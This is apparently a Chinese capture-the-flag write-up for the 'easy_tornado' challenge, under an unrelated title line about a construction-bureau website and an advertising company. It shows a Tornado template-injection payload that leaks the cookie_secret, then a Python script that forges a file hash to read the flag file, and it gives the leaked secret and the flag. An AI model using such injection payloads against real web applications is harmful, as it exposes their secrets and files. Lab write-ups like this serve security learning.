登封市建設局網(wǎng)站廣告制作公司
題目環(huán)境:
發(fā)現(xiàn)有三個txt文本文件
/flag.txt
/welcome.txt
/hints.txt
依此點開
flag在/fllllllllllllag文件中
在hints.txt文件中發(fā)現(xiàn)md5計算
md5(cookie_secret+md5(filename))
并且三個文件中都存在filehash(文件名被哈希算法加密32位小寫)
猜測解題關鍵點在md5(cookie_secret+md5(filename))這里
首先flag在/fllllllllllllag文件中**,所以就是filename=/fllllllllllllag;**filehash=md5(cookie_secret+md5(filename))
現(xiàn)在只缺cookie_secret這個東西,只要有了cookie_secret再通過這個md5(cookie_secret+md5(filename))公式進行計算即可獲取到flag
注意題目easy_tornado 1;tornado是python的一個模板,可以看出這道題是模板注入類的題目
改哈希值看看是否有變化
回車
模板注入必須通過傳輸型如{{xxx}}的執(zhí)行命令
果然是tornado模板注入
在tornado模板中,存在一些可以訪問的快速對象,這里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,這里面就是我們的一些環(huán)境變量。
簡單理解handler.settings即可,可以把它理解為tornado模板中內(nèi)置的環(huán)境配置信息名稱,通過handler.settings可以訪問到環(huán)境配置的一些信息,看到tornado模板基本上可以通過handler.settings一把梭。
爆cookie_secreterror?msg={{handler.settings}}
得到cookie_secret76fc62a3-fea5-46ab-8f95-4b7262246f8c
按照公式進行加密/fllllllllllllag=3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret+md5(filename)76fc62a3-fea5-46ab-8f95-4b7262246f8c3bf9f6cf685a6dd8defadabfb41a03a1
md5(cookie_secret+md5(filename))39482391ef4cc45a75262be45e94c725
最終payload:?filename=/fllllllllllllag&filehash=39482391ef4cc45a75262be45e94c725
當然也可以用python腳本進行加密
import hashlib #選用哈希模塊
filename = '/fllllllllllllag' #文件名
cookie_secret = '76fc62a3-fea5-46ab-8f95-4b7262246f8c'#cookie_secret值
filename = hashlib.md5(filename.encode()).hexdigest()#/fllllllllllllag進行32位小寫哈希md5加密
a = cookie_secret + filename#md5值進行拼接
filehash = hashlib.md5(a.encode()).hexdigest()#計算拼接后的md5值的md532小寫的值
print(filehash)#輸出加密后的md532位小寫的值
得到flag:flag{5ae1c44d-f83a-4005-a69b-a1ea133391db}